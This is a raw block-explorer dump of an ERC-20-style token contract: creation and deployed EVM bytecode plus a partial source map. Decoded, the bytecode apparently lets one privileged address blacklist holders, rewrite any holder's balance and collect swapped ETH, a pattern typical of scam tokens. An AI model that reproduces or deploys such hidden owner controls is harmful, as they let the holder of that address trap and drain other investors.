0473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663791ac9478360008430426040518663ffffffff1660e01b8152600401611a079594939291906122c3565b600060405180830381600087803b158015611a2157600080fd5b505af1925050508015611a32575060015b611a3b57611a3c565b5b60004790506000811115611ab457600360019054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166108fc829081150290604051600060405180830381858888f19350505050158015611ab2573d6000803e3d6000fd5b505b50506000600f60146101000a81548160ff02191690831515021790555050565b6000611b1683836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f770000815250611599565b905092915050565b600080831415611b315760009050611b93565b60008284611b3f9190612414565b9050828482611b4e91906123e3565b14611b8e576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611b8590612228565b60405180910390fd5b809150505b92915050565b6000611bdb83836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f000000000000815250611c41565b905092915050565b6000808284611bf2919061238d565b905083811015611c37576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611c2e90612208565b60405180910390fd5b8091505092915050565b60008083118290611c88576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611c7f9190612186565b60405180910390fd5b5060008385611c9791906123e3565b9050809150509392505050565b600081359050611cb38161291a565b92915050565b600081519050611cc88161291a565b92915050565b60008083601f840112611ce457611ce36126ef565b5b8235905067ffffffffffffffff811115611d0157611d006126ea565b5b602083019150836020820283011115611d1d57611d1c6126f4565b5b9250929050565b600081359050611d3381612931565b92915050565b600081359050611d4881612948565b92915050565b600060208284031215611d6457611d636126fe565b5b6000611d7284828501611ca4565b91505092915050565b600060208284031215611d9157611d906126fe565b5b6000611d9f84828501611cb9565b91505092915050565b60008060408385031215611dbf57611dbe6126fe565b5b6000611dcd85828601611ca4565b9250506020611dde85828601611ca4565b9150509250929050565b600080600060608486031215611e0157611e006126fe565b5b6000611e0f86828701611ca4565b9350506020611e2086828701611ca4565b9250506040611e3186828701611d39565b9150509250925092565b60008060408385031215611e5257611e516126fe565b5b6000611e6085828601611ca4565b9250506020611e7185828601611d39565b9150509250929050565b600080600060408486031215611e9457611e936126fe565b5b600084013567ffffffffffffffff811115611eb257611eb16126f9565b5b611ebe86828701611cce565b93509350506020611ed186828701611d24565b9150509250925092565b6000611ee78383611f02565b60208301905092915050565b611efc816124b4565b82525050565b611f0b816124a2565b82525050565b611f1a816124a2565b82525050565b6000611f2b82612348565b611f35818561236b565b9350611f4083612338565b8060005b83811015611f71578151611f588882611edb565b9750611f638361235e565b925050600181019050611f44565b5085935050505092915050565b611f87816124c6565b82525050565b611f9681612509565b82525050565b611fa58161251b565b82525050565b6000611fb682612353565b611fc0818561237c565b9350611fd0818560208601612551565b611fd981612703565b840191505092915050565b6000611ff160238361237c565b9150611ffc82612714565b604082019050919050565b600061201460128361237c565b915061201f82612763565b602082019050919050565b600061203760228361237c565b91506120428261278c565b604082019050919050565b600061205a601b8361237c565b9150612065826127db565b602082019050919050565b600061207d60218361237c565b915061208882612804565b604082019050919050565b60006120a060208361237c565b91506120ab82612853565b602082019050919050565b60006120c360258361237c565b91506120ce8261287c565b604082019050919050565b60006120e660248361237c565b91506120f1826128cb565b604082019050919050565b612105816124f2565b82525050565b612114816124fc565b82525050565b600060208201905061212f6000830184611f11565b92915050565b600060208201905061214a6000830184611ef3565b92915050565b60006020820190506121656000830184611f7e565b92915050565b60006020820190506121806000830184611f8d565b92915050565b600060208201905081810360008301526121a08184611fab565b905092915050565b600060208201905081810360008301526121c181611fe4565b9050919050565b600060208201905081810360008301526121e181612007565b9050919050565b600060208201905081810360008301526122018161202a565b9050919050565b600060208201905081810360008301526122218161204d565b9050919050565b6000602082019050818103600083015261224181612070565b9050919050565b6000602082019050818103600083015261226181612093565b9050919050565b60006020820190508181036000830152612281816120b6565b9050919050565b600060208201905081810360008301526122a1816120d9565b9050919050565b60006020820190506122bd60008301846120fc565b92915050565b600060a0820190506122d860008301886120fc565b6122e56020830187611f9c565b81810360408301526122f78186611f20565b90506123066060830185611f11565b61231360808301846120fc565b9695505050505050565b6000602082019050612332600083018461210b565b92915050565b6000819050602082019050919050565b600081519050919050565b600081519050919050565b6000602082019050919050565b600082825260208201905092915050565b600082825260208201905092915050565b6000612398826124f2565b91506123a3836124f2565b9250827fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff038211156123d8576123d76125ff565b5b828201905092915050565b60006123ee826124f2565b91506123f9836124f2565b9250826124095761240861262e565b5b828204905092915050565b600061241f826124f2565b915061242a836124f2565b9250817fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff0483118215151615612463576124626125ff565b5b828202905092915050565b6000612479826124f2565b9150612484836124f2565b925082821015612497576124966125ff565b5b828203905092915050565b60006124ad826124d2565b9050919050565b60006124bf826124d2565b9050919050565b60008115159050919050565b600073ffffffffffffffffffffffffffffffffffffffff82169050919050565b6000819050919050565b600060ff82169050919050565b60006125148261252d565b9050919050565b6000612526826124f2565b9050919050565b60006125388261253f565b9050919050565b600061254a826124d2565b9050919050565b60005b8381101561256f578082015181840152602081019050612554565b8381111561257e576000848401525b50505050565b6000600282049050600182168061259c57607f821691505b602082108114156125b0576125af61265d565b5b50919050565b60006125c1826124f2565b91507fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff8214156125f4576125f36125ff565b5b600182019050919050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601160045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601260045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052602260045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052604160045260246000fd5b600080fd5b600080fd5b600080fd5b600080fd5b600080fd5b6000601f19601f8301169050919050565b7f45524332303a207472616e7366657220746f20746865207a65726f206164647260008201527f6573730000000000000000000000000000000000000000000000000000000000602082015250565b7f45524332303a20626c61636b4c69737465640000000000000000000000000000600082015250565b7f45524332303a20617070726f766520746f20746865207a65726f20616464726560008201527f7373000000000000000000000000000000000000000000000000000000000000602082015250565b7f536166654d6174683a206164646974696f6e206f766572666c6f770000000000600082015250565b7f536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f60008201527f7700000000000000000000000000000000000000000000000000000000000000602082015250565b7f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572600082015250565b7f45524332303a207472616e736665722066726f6d20746865207a65726f20616460008201527f6472657373000000000000000000000000000000000000000000000000000000602082015250565b7f45524332303a20617070726f76652066726f6d20746865207a65726f2061646460008201527f7265737300000000000000000000000000000000000000000000000000000000602082015250565b612923816124a2565b811461292e57600080fd5b50565b61293a816124c6565b811461294557600080fd5b50565b612951816124f2565b811461295c57600080fd5b5056fe45524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e6365a26469706673582212208e54d92a3fb0e7786a374d3d0465e5fce925a37dc23274344e915e44110116f664736f6c63430008070033

Deployed Bytecode

0x6080604052600436106101445760003560e01c806382eefb43116100b6578063c5d241891161006f578063c5d24189146104a5578063c816841b146104d0578063c8607952146104fb578063dd62ed3e14610526578063f0cd1dac14610563578063f2fde38b1461058e5761014b565b806382eefb43146103955780638da5cb5b146103c0578063900f0ca2146103eb57806395d89b41146104145780639a66989c1461043f578063a9059cbb146104685761014b565b806323b872dd1161010857806323b872dd1461024b578063313ce567146102885780633345611e146102b35780633ecad271146102f05780634d80b76a1461032d57806370a08231146103585761014b565b806306fdde0314610150578063095ea7b31461017b5780631694505e146101b857806318160ddd146101e35780631d231b2c1461020e5761014b565b3661014b57005b600080fd5b34801561015c57600080fd5b506101656105b7565b6040516101729190612186565b60405180910390f35b34801561018757600080fd5b506101a2600480360381019061019d9190611e3b565b610649565b6040516101af9190612150565b60405180910390f35b3480156101c457600080fd5b506101cd610667565b6040516101da919061216b565b60405180910390f35b3480156101ef57600080fd5b506101f861068d565b60405161020591906122a8565b60405180910390f35b34801561021a57600080fd5b5061023560048036038101906102309190611d4e565b610697565b6040516102429190612150565b60405180910390f35b34801561025757600080fd5b50610272600480360381019061026d9190611de8565b6106b7565b60405161027f9190612150565b60405180910390f35b34801561029457600080fd5b5061029d610791565b6040516102aa919061231d565b60405180910390f35b3480156102bf57600080fd5b506102da60048036038101906102d59190611d4e565b6107a8565b6040516102e79190612150565b60405180910390f35b3480156102fc57600080fd5b5061031760048036038101906103129190611d4e565b6107c8565b6040516103249190612150565b60405180910390f35b34801561033957600080fd5b506103426107e8565b60405161034f9190612135565b60405180910390f35b34801561036457600080fd5b5061037f600480360381019061037a9190611d4e565b61080e565b60405161038c91906122a8565b60405180910390f35b3480156103a157600080fd5b506103aa610857565b6040516103b791906122a8565b60405180910390f35b3480156103cc57600080fd5b506103d561085d565b6040516103e2919061211a565b60405180910390f35b3480156103f757600080fd5b50610412600480360381019061040d9190611e3b565b610886565b005b34801561042057600080fd5b5061042961097b565b6040516104369190612186565b60405180910390f35b34801561044b57600080fd5b5061046660048036038101906104619190611e7b565b610a0d565b005b34801561047457600080fd5b5061048f600480360381019061048a9190611e3b565b610b15565b60405161049c9190612150565b60405180910390f35b3480156104b157600080fd5b506104ba610b34565b6040516104c791906122a8565b60405180910390f35b3480156104dc57600080fd5b506104e5610b3a565b6040516104f2919061211a565b60405180910390f35b34801561050757600080fd5b50610510610b60565b60405161051d91906122a8565b60405180910390f35b34801561053257600080fd5b5061054d60048036038101906105489190611da8565b610b66565b60405161055a91906122a8565b60405180910390f35b34801561056f57600080fd5b50610578610bed565b60405161058591906122a8565b60405180910390f35b34801561059a57600080fd5b506105b560048036038101906105b09190611d4e565b610bf3565b005b6060600180546105c690612584565b80601f01602080910402602001604051908101604052809291908181526020018280546105f290612584565b801561063f5780601f106106145761010080835404028352916020019161063f565b820191906000526020600020905b81548152906001019060200180831161062257829003601f168201915b5050505050905090565b600061065d610656610d45565b8484610d4d565b6001905092915050565b600e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b6000600d54905090565b60086020528060005260406000206000915054906101000a900460ff1681565b60006106c4848484610f18565b50610786846106d1610d45565b6107818560405180606001604052806028815260200161296060289139600560008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206000610737610d45565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546115999092919063ffffffff16565b610d4d565b600190509392505050565b6000600360009054906101000a900460ff16905090565b60066020528060005260406000206000915054906101000a900460ff1681565b60076020528060005260406000206000915054906101000a900460ff1681565b600360019054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b6000600460008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020549050919050565b600c5481565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b600360019054906101000a900473ffffffffffffffffffffffffffffffffffffffff166108b1610d45565b73ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff16146108e857600080fd5b600460008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205482610933919061246e565b600460008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550505050565b60606002805461098a90612584565b80601f01602080910402602001604051908101604052809291908181526020018280546109b690612584565b8015610a035780601f106109d857610100808354040283529160200191610a03565b820191906000526020600020905b8154815290600101906020018083116109e657829003601f168201915b5050505050905090565b600360019054906101000a900473ffffffffffffffffffffffffffffffffffffffff16610a38610d45565b73ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff1614610a6f57600080fd5b60005b84849050811015610b0e578260086000878785818110610a9557610a9461268c565b5b9050602002016020810190610aaa9190611d4e565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055508080610b06906125b6565b915050610a72565b5050505050565b6000610b29610b22610d45565b8484610f18565b506001905092915050565b60095481565b600f60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b600a5481565b6000600560008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905092915050565b600b5481565b610bfb610d45565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610c88576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610c7f90612248565b60405180910390fd5b806000806101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055508073ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a350565b600033905090565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161415610dbd576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610db490612288565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff161415610e2d576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610e24906121e8565b60405180910390fd5b80600560008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b92583604051610f0b91906122a8565b60405180910390a3505050565b60008073ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff161415610f89576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610f8090612268565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161415610ff9576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610ff0906121a8565b60405180910390fd5b600860008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff1615611086576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161107d906121c8565b60405180910390fd5b600f60149054906101000a900460ff16156110ad576110a68484846115fd565b9050611592565b60006110b83061080e565b9050600f60149054906101000a900460ff161580156111215750600760008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16155b156111305761112f816117d0565b5b61118283600460008873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611ad490919063ffffffff16565b600460008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055506000600660008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16806112685750600660008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff165b1561127557839050611491565b6000600760008873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16156112f8576112f160646112e3600b5488611b1e90919063ffffffff16565b611b9990919063ffffffff16565b9050611376565b600760008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff1615611375576113726064611364600c5488611b1e90919063ffffffff16565b611b9990919063ffffffff16565b90505b5b600081111561147a576113d181600460003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611be390919063ffffffff16565b600460003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055503073ffffffffffffffffffffffffffffffffffffffff168773ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef8360405161147191906122a8565b60405180910390a35b61148d8186611ad490919063ffffffff16565b9150505b6114e381600460008873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611be390919063ffffffff16565b600460008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508473ffffffffffffffffffffffffffffffffffffffff168673ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef8360405161158391906122a8565b60405180910390a36001925050505b9392505050565b60008383111582906115e1576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016115d89190612186565b60405180910390fd5b50600083856115f0919061246e565b9050809150509392505050565b6000611688826040518060400160405280601481526020017f74656c756666696369656e742042616c616e6365000000000000000000000000815250600460008873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546115999092919063ffffffff16565b600460008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555061171d82600460008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611be390919063ffffffff16565b600460008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508273ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef846040516117bd91906122a8565b60405180910390a3600190509392505050565b6001600f60146101000a81548160ff0219169083151502179055506000600267ffffffffffffffff811115611808576118076126bb565b5b6040519080825280602002602001820160405280156118365781602001602082028036833780820191505090505b509050308160008151811061184e5761184d61268c565b5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff1681525050600e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663ad5c46486040518163ffffffff1660e01b815260040160206040518083038186803b1580156118f057600080fd5b505afa158015611904573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906119289190611d7b565b8160018151811061193c5761193b61268c565b5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff16815250506119a330600e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1684610d4d565b600e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663791ac9478360008430426040518663ffffffff1660e01b8152600401611a079594939291906122c3565b600060405180830381600087803b158015611a2157600080fd5b505af1925050508015611a32575060015b611a3b57611a3c565b5b60004790506000811115611ab457600360019054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166108fc829081150290604051600060405180830381858888f19350505050158015611ab2573d6000803e3d6000fd5b505b50506000600f60146101000a81548160ff02191690831515021790555050565b6000611b1683836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f770000815250611599565b905092915050565b600080831415611b315760009050611b93565b60008284611b3f9190612414565b9050828482611b4e91906123e3565b14611b8e576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611b8590612228565b60405180910390fd5b809150505b92915050565b6000611bdb83836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f000000000000815250611c41565b905092915050565b6000808284611bf2919061238d565b905083811015611c37576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611c2e90612208565b60405180910390fd5b8091505092915050565b60008083118290611c88576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611c7f9190612186565b60405180910390fd5b5060008385611c9791906123e3565b9050809150509392505050565b600081359050611cb38161291a565b92915050565b600081519050611cc88161291a565b92915050565b60008083601f840112611ce457611ce36126ef565b5b8235905067ffffffffffffffff811115611d0157611d006126ea565b5b602083019150836020820283011115611d1d57611d1c6126f4565b5b9250929050565b600081359050611d3381612931565b92915050565b600081359050611d4881612948565b92915050565b600060208284031215611d6457611d636126fe565b5b6000611d7284828501611ca4565b91505092915050565b600060208284031215611d9157611d906126fe565b5b6000611d9f84828501611cb9565b91505092915050565b60008060408385031215611dbf57611dbe6126fe565b5b6000611dcd85828601611ca4565b9250506020611dde85828601611ca4565b9150509250929050565b600080600060608486031215611e0157611e006126fe565b5b6000611e0f86828701611ca4565b9350506020611e2086828701611ca4565b9250506040611e3186828701611d39565b9150509250925092565b60008060408385031215611e5257611e516126fe565b5b6000611e6085828601611ca4565b9250506020611e7185828601611d39565b9150509250929050565b600080600060408486031215611e9457611e936126fe565b5b600084013567ffffffffffffffff811115611eb257611eb16126f9565b5b611ebe86828701611cce565b93509350506020611ed186828701611d24565b9150509250925092565b6000611ee78383611f02565b60208301905092915050565b611efc816124b4565b82525050565b611f0b816124a2565b82525050565b611f1a816124a2565b82525050565b6000611f2b82612348565b611f35818561236b565b9350611f4083612338565b8060005b83811015611f71578151611f588882611edb565b9750611f638361235e565b925050600181019050611f44565b5085935050505092915050565b611f87816124c6565b82525050565b611f9681612509565b82525050565b611fa58161251b565b82525050565b6000611fb682612353565b611fc0818561237c565b9350611fd0818560208601612551565b611fd981612703565b840191505092915050565b6000611ff160238361237c565b9150611ffc82612714565b604082019050919050565b600061201460128361237c565b915061201f82612763565b602082019050919050565b600061203760228361237c565b91506120428261278c565b604082019050919050565b600061205a601b8361237c565b9150612065826127db565b602082019050919050565b600061207d60218361237c565b915061208882612804565b604082019050919050565b60006120a060208361237c565b91506120ab82612853565b602082019050919050565b60006120c360258361237c565b91506120ce8261287c565b604082019050919050565b60006120e660248361237c565b91506120f1826128cb565b604082019050919050565b612105816124f2565b82525050565b612114816124fc565b82525050565b600060208201905061212f6000830184611f11565b92915050565b600060208201905061214a6000830184611ef3565b92915050565b60006020820190506121656000830184611f7e565b92915050565b60006020820190506121806000830184611f8d565b92915050565b600060208201905081810360008301526121a08184611fab565b905092915050565b600060208201905081810360008301526121c181611fe4565b9050919050565b600060208201905081810360008301526121e181612007565b9050919050565b600060208201905081810360008301526122018161202a565b9050919050565b600060208201905081810360008301526122218161204d565b9050919050565b6000602082019050818103600083015261224181612070565b9050919050565b6000602082019050818103600083015261226181612093565b9050919050565b60006020820190508181036000830152612281816120b6565b9050919050565b600060208201905081810360008301526122a1816120d9565b9050919050565b60006020820190506122bd60008301846120fc565b92915050565b600060a0820190506122d860008301886120fc565b6122e56020830187611f9c565b81810360408301526122f78186611f20565b90506123066060830185611f11565b61231360808301846120fc565b9695505050505050565b6000602082019050612332600083018461210b565b92915050565b6000819050602082019050919050565b600081519050919050565b600081519050919050565b6000602082019050919050565b600082825260208201905092915050565b600082825260208201905092915050565b6000612398826124f2565b91506123a3836124f2565b9250827fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff038211156123d8576123d76125ff565b5b828201905092915050565b60006123ee826124f2565b91506123f9836124f2565b9250826124095761240861262e565b5b828204905092915050565b600061241f826124f2565b915061242a836124f2565b9250817fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff0483118215151615612463576124626125ff565b5b828202905092915050565b6000612479826124f2565b9150612484836124f2565b925082821015612497576124966125ff565b5b828203905092915050565b60006124ad826124d2565b9050919050565b60006124bf826124d2565b9050919050565b60008115159050919050565b600073ffffffffffffffffffffffffffffffffffffffff82169050919050565b6000819050919050565b600060ff82169050919050565b60006125148261252d565b9050919050565b6000612526826124f2565b9050919050565b60006125388261253f565b9050919050565b600061254a826124d2565b9050919050565b60005b8381101561256f578082015181840152602081019050612554565b8381111561257e576000848401525b50505050565b6000600282049050600182168061259c57607f821691505b602082108114156125b0576125af61265d565b5b50919050565b60006125c1826124f2565b91507fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff8214156125f4576125f36125ff565b5b600182019050919050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601160045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601260045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052602260045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052604160045260246000fd5b600080fd5b600080fd5b600080fd5b600080fd5b600080fd5b6000601f19601f8301169050919050565b7f45524332303a207472616e7366657220746f20746865207a65726f206164647260008201527f6573730000000000000000000000000000000000000000000000000000000000602082015250565b7f45524332303a20626c61636b4c69737465640000000000000000000000000000600082015250565b7f45524332303a20617070726f766520746f20746865207a65726f20616464726560008201527f7373000000000000000000000000000000000000000000000000000000000000602082015250565b7f536166654d6174683a206164646974696f6e206f766572666c6f770000000000600082015250565b7f536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f60008201527f7700000000000000000000000000000000000000000000000000000000000000602082015250565b7f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572600082015250565b7f45524332303a207472616e736665722066726f6d20746865207a65726f20616460008201527f6472657373000000000000000000000000000000000000000000000000000000602082015250565b7f45524332303a20617070726f76652066726f6d20746865207a65726f2061646460008201527f7265737300000000000000000000000000000000000000000000000000000000602082015250565b612923816124a2565b811461292e57600080fd5b50565b61293a816124c6565b811461294557600080fd5b50565b612951816124f2565b811461295c57600080fd5b5056fe45524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e6365a26469706673582212208e54d92a3fb0e7786a374d3d0465e5fce925a37dc23274344e915e44110116f664736f6c63430008070033

Deployed Bytecode Sourcemap

3689:6569:0:-:0;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;5702:83;;;;;;;;;;;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;6365:161;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;4603:41;;;;;;;;;;;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;5979:100;;;;;;;;;;;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;4165:45;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;7089:313;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;5888:83;;;;;;;;;;;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;4056:50;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;4113:45;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;3900:28;;;;;;;;;;;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;6087:119;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;4495:33;;;;;;;;;;;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;2756:79;;;;;;;;;;;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;4261:146;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;5793:87;;;;;;;;;;;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;7410:215;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;6914:167;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;4219:35;;;;;;;;;;;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;4651:26;;;;;;;;;;;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;4413:36;;;;;;;;;;;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;6214:143;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;4456:32;;;;;;;;;;;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;2970:157;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;5702:83;5739:13;5772:5;5765:12;;;;;:::i;:::-;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;5702:83;:::o;6365:161::-;6440:4;6457:39;6466:12;:10;:12::i;:::-;6480:7;6489:6;6457:8;:39::i;:::-;6514:4;6507:11;;6365:161;;;;:::o;4603:41::-;;;;;;;;;;;;;:::o;5979:100::-;6032:7;6059:12;;6052:19;;5979:100;:::o;4165:45::-;;;;;;;;;;;;;;;;;;;;;;:::o;7089:313::-;7187:4;7204:36;7214:6;7222:9;7233:6;7204:9;:36::i;:::-;;7251:121;7260:6;7268:12;:10;:12::i;:::-;7282:89;7320:6;7282:89;;;;;;;;;;;;;;;;;:11;:19;7294:6;7282:19;;;;;;;;;;;;;;;:33;7302:12;:10;:12::i;:::-;7282:33;;;;;;;;;